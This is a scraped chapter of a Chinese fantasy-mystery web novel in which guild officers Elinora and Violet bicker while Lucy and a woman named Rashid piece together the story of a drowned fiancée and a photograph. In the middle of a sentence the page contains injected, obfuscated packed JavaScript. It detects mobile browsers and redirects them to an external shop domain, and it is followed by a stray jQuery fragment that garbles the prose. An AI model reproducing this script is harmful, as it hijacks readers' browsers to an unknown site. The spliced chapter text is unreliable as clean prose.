文趣网 > 其他小说 > 拂晓之前 > 4. 迷云 众多可疑
    “死了?”艾利诺拉和维奥莱特一同发声。

    自打来到萨克城,离奇的事情一桩又接一桩,偏偏案子没有丝毫进展。

    艾利诺拉不自觉攥紧拳头,好了大半的伤口因指甲用力过度而再次裂开。

    她想不明白。

    倘若悉伯尼真的死了,那露西刚刚见到的人是谁?

    死去的人如何行凶?

    气氛格外压抑,露西甚至觉得呼吸都困难几分,她悄悄地挪移到拉希德的身后,想暂时避开现场的低气压。

    艾利诺拉与维奥莱特是宿敌这件事整个公会人尽皆知,本来任务没有进展就够让人心烦了,结果这两人来了后露西的日子显而易见地变得更加难捱。

    露西默默祈祷,以后出任务千万不要碰到他俩同框!

    艾利诺拉队长秒跟!!

    不同于往日队内成员的打趣,维奥莱特率先开口:“露西。”

    “到——”突然点到名字的露西本能地直起腰板向维奥莱特致礼。

    拉希德饶有兴致地看她。

    似在打量一个有趣的收藏品。

    在场所有的目光全都聚焦在自己身上,露西条件反射地做了这些,现在只觉身无可恋。

    这也太丢人了吧……

    几近瞬间,她的小脸泛上红晕,致礼的手冒着虚汗无所适从地安放于身前。

    她强撑笑磕磕巴巴地答话:“副副副副队,有何吩咐?”

    维奥莱特觉得没什么,随意又颇带几许认真继续追问:“你认识悉伯尼?”

    “不不……不认识。”

    “那你怎么确定是她?”

    露西眼瞧着维奥莱特脸上的表情越来越沉可谓是欲哭无泪,她一直都有个毛病,只要紧张就容易结巴地说不出话。

    她心中默默唤着“嘉娜丽黛老师,快带我回家”,口上却怎么也没个后文。

    维奥莱特不满地“啧”了一声。

    露西这小姑娘究竟在紧张什么?

    他看起来有那么可怕吗?

    维奥莱特起身,拍了拍身上在衣柜里堆存的灰尘,缓步走向露西,试着让她开口。

    完了完了!!!

    露西警铃大作,在心里连连直叹,副队你不要过来啊!

    “她是你的队友,不要拿审问罪犯的语气对她说话。”

    灰暗破坏的阁楼年久失修,地上早已遍布灰尘,艾利诺拉拍了拍手轻轻盖在安德杰森的额下为他阖上了眼。

    她跟着起身,对维奥莱特说道:“不要这样对女孩子。”

    “艾利诺拉,你什么意思?”维奥莱特咬牙切齿。

    他挂着脸。

    不爽极了。

    凭什么艾利诺拉总是站在对立面指责自己?

    凭什么艾利诺拉可以随意插手自己的决定?

    “字面意思。”

    艾利诺拉没有抬头,嗓音清冽冷淡。

    她本意是想告诉维奥莱特对待露西时温柔点儿,语气不要太强硬,毕竟他也算了解露西的,竟浑然不知维奥莱特会错了意。

    方才致礼所带来的轻快氛围此刻竟又是荡然无存,拉希德笑了笑,充当和事佬,举止优雅地叫停两位“执行官”:“好了好了。维奥莱特先生,执行官大人,悉伯尼女士的故事就由我来讲述吧。”

    “安德杰森先生同我讲过一部分,他告诉我在一个下着暴雨的夜里,他和悉伯尼女士分开了。不过,分开的理由不是人为造成的而是不可抗因素。”

    “不可抗因素?”

    露西,艾利诺拉,维奥莱特三人齐齐发问。

    “嗯,不可抗因素。”拉希德右手微蜷,纤细的手指轻抵下颚,“安德杰森先生是外来游民,五年前他在萨克城经商有了起色赚了点小钱后买了对戒指,而悉伯尼女士又喜欢海,他便约她去海边,想要向她求婚。”

    “他为悉伯尼戴上了戒指,可当悉伯尼也想为安德杰森戴上时意外发生了。天空突然降下骤雨,先前平静的海面掀起澎湃巨浪,似有针对性般将悉伯尼女士卷入海中。”

    “安德杰森当时吓坏了,颤抖着想去拉她的手,可为时已晚,悉伯尼的整个身体早就淹没于海,任凭安德杰森如何紧握露在水面的手,悉伯尼仍然没有逃过一劫。”

    “暴雨吞没了他的声音,没有人听见他的求助,他不通水性,便挨家挨户敲门央求着去救悉伯尼。萨克人碍于暴雨没有出海,等到雨停后,好心的住民架着船去海上打捞悉伯尼。”

    “他们捞了很久很久,最终只找到了些早就被人遗弃的细小物件和一具被侵蚀到血.肉模糊,半身呈现白骨的尸.体。尸.体的右手无名指上有一枚红宝石戒指,和安德杰森手心里的是同款,但安德杰森并不认可眼前这具辨不清样貌的丑陋尸.身是他的挚爱,他便在那边海域附近安营扎寨,等他的爱人回来找他。”

    “我了解的就这么多了。”拉希德浅笑着。

    她拉开吧台中间的抽屉,扒去上面的陈杂物件露出藏在底部的信封。

    泛红的烛火在油灯跃动着微软的火光,洁白的信纸干净又规整,与处处沾着酒渍、油污与灰尘的阁楼格格不入,它的外面甚至套着一层薄薄的白膜。

    拉希德顺手拿起吧台上的小刀在薄膜上轻轻一划,她小心地将信封取出,又十分轻柔地拿出里面的照片。

    “你们看,这位就是悉伯尼。”

    拉希德将照片放在桌子上,食指轻点,语气温柔又随意。

    她问露西:“露西小姐,当时你见到的人是她吗?”

    露西凑近吧台,仔仔细细地端详。

    良久,她很用力地点头:“对,就是她。”

    拉希德笑了笑:“看来这个案子有眉目了呢。”

    维奥莱特不了解事情的经过,难得安静地听完了全程。反观艾利诺拉全程都没有说一句话,这可和他印象中的她不一样。

    手腕上因药物而带来的灼热让他的心底泛痒,维奥莱特悄悄地用余光打量着身旁的艾利诺拉。

    艾利诺拉此刻垂下眼皮,收敛了平日的锐气后竟也有了缠绵的温柔,她眼窝下的乌青其实并不明显,不仔细看根本看不出来。可在灯火下,那点色彩被维奥莱特尽收眼底,她眉眼恹恹,整个人看起来不大精神的模样。

    维奥莱特可从未见过艾利诺拉在任务中出现过这幅样子。

    他心头微紧,试探开口:“喂,你没事吧?”

    说完,又认为自己管得太宽别扭地把头转到别侧。

    艾利诺拉恍惚回神,迷茫地看着自己的掌心,她的大脑酸涨,便敛力用拇指与中指分别揉弄两侧的太阳穴。

    自打见到拉希德后她便察觉脑袋乱乱的,像被人拧过后又强硬地塞了段不属于她的朦胧记忆。

    她总觉得耳畔有道声音一直挥之不去,似是一位母亲的温柔咿语,轻柔地用自己听不懂的语言呢喃着用海水编织的摇篮曲。

    好累。

    好困。

    这两种感觉不断上涌,潮水般包裹艾利诺拉,渐渐地她竟从中琢磨出了痛的滋味,钝钝的并不强烈,如雨点轻落在身上的感觉。

    后知后觉。

    艾利诺拉呆呆地望着拉希德的侧脸,她的脑海中闪过模糊画面,一位留着长长指甲的金发女人定定站在她的面前。

    女人的手轻轻抚过艾利诺拉的脸颊,在她额上落下一吻。

    女人说:“原谅我,我的孩子。”

    艾利诺拉忽然觉得好痛……

    可伤口早就不疼了。

    好难过……

    她不明白。

    “喂,艾利诺拉?”

    维奥莱特不放心地又问了一遍。

    “我没事。”

    她终于答话,状态勉勉强强,但比方才要好上几分。

    维奥莱特的脸色微缓,暗自思忖整个事件的前因后果。

    艾利诺拉缓缓将手伸回来,那幅画面过于真实偏偏她对此没有半分熟悉。

    她忽然意识到了什么,眼底闪过一丝不可思议。

    艾利诺拉开口:“你刚刚是在……关心我吗?”

    维奥莱特下意识反驳,在与艾利诺拉对视的那刻到口的话却在嘴里打了个弯,最后竟是自己硬生生咽了回去。

    “谁……谁关心你了?”维奥莱特讪讪地摸着鼻子,眼神控制不住地闪躲,耳廓也悄悄染

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836697|211461||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上了红晕,“我只是不想你在这里出事,到时候还要让我收尸。”

    “晦气。”

    “嗯?”

    维奥莱特最后那句的声音太小,再加上艾利诺拉此时也不大清醒,便无意识地迷迷糊糊反问起来。

    “烦人。”维奥莱特脱口而出。

    和艾利诺拉对视的那刻,平寂不久的心跳又抑制不住地躁动起跳。

    艾利诺拉的眸色清浅,刚刚看向他时还盈着连她本人都没发觉的欣喜,明明她嘴角的弧度动都没动一下,可她的眼睛却似在笑。

    维奥莱特的嘴角微微上扬。

    她笑起来还怪好看的。

    意识到自己在想什么的维奥莱特连连摇头,恨不得当场掴自己几巴掌。

    他这是怎么了?

    怎么会觉得艾利诺拉好看呢?

    可是心跳好快。

    他哪里有过这般身不由己的反应,这一切的一切归根结底还是因为这该死的艾利诺拉。

    如果不是她状态不好,自己哪犯得着这样。

    维奥莱特双手随意地插在兜里,微微抬起下巴,故意不去看她,言语挑衅:“谁关心你了,我巴不得你做任务出点意外,这样就没人跟我争骑士长的位置了。”

    艾利诺拉淡淡瞥了他一眼,嘴里缓缓吐出四个字:“莫名其妙。”

    露西在一旁尴尬地赔笑,她不是故意偷听的,万万没想到平日里严肃冷淡的“队长们”,私底下竟然这么……

    幼稚。

    还是个喜欢讲地狱冷笑话的。

    拉希德局外人般淡定地围观,良好的教养让她即便误打误撞听到“两位执行官”拌嘴的同时脸上仍然始终带着笑。

    贵族小姐的气质大抵不过如此。

    可露西却觉得很怪,拉希德的笑意似乎从不达眼底。

    她的眸子太冷了。

    除去眸色,拉希德眼睛还很像艾利诺拉,但又拿捏不到要领,怎么都模仿不到精髓。

    一种说不上来的诡异。

    正当她这样想时,拉希德与她视线相对。几乎在一瞬间,露西全身打了个激灵,寒毛竖起大半,整个人像被海水浸过般呼吸困难。她想要吞咽,却紧张到咽不下,口腔分泌的涎水半咽不咽地含在嘴里。

    可拉希德只是简单地笑笑,冲她善意地点了点头。

    不安因拉希德的笑容抚慰几分,可露西还是觉得一阵后怕,手指在吧台上无规律的抠弄。

    露西行过的指甲或深或浅地在吧台留下了不少抓痕,因抠弄产生的木屑与上面的灰尘混在一起。

    “露西小姐,再这样下去你的手指要流血了。”拉希德温柔地提醒:“如此漂亮的手染上疤痕可是非常不明智的选择。”

    露西慌乱地收回手,讪笑几声,笑起来时脸上的麻雀对称聚拢在一起。

    明智不明智早就不重要了,问题是她从来没告诉过拉希德她的名字啊。

    她的精神处在高度紧绷的状态,小心又尴尬地问道:“我还不知道你的名字呢。”

    每说一个字她的声音就弱上一点。

    “真是失礼,我竟然没有告诉过你我的名字。”

    拉希德翡翠绿色的眼睛泛着柔光,在烛火下更加亲和,她的右手执于胸前,矜贵优雅又藏着对小猎物的恶意挑逗。

    “正式介绍一下,我叫拉希德,拉希德·斯图亚特。”

    拉希德?

    露西对这个名字很熟悉,她和艾利诺拉入住这里后每晚她都要翻看每日的入住账本,她记得,拉希德比她们入驻要晚上一天。

    虽然拉希德讲起故事比安德杰森更有代入感,甚至更加有头有尾。可安德杰森拿照片时自己是在场的,她从来没有见过眼前这位气质端重的女性,身上的味道很像她在角落里闻到的一股花香。

    露西开口:“拉希德小姐,你刚刚说的故事我都知道,也能对上他的故事,甚至比他讲得更精彩。可房东先生很少把照片拿出来,两日前我见他拿出来过,我没记错的话,你当时好像不在场吧。”

    言外之意,你是如何知道照片在中间抽屉的?

    拉希德笑而不语,转头看向了艾利诺拉。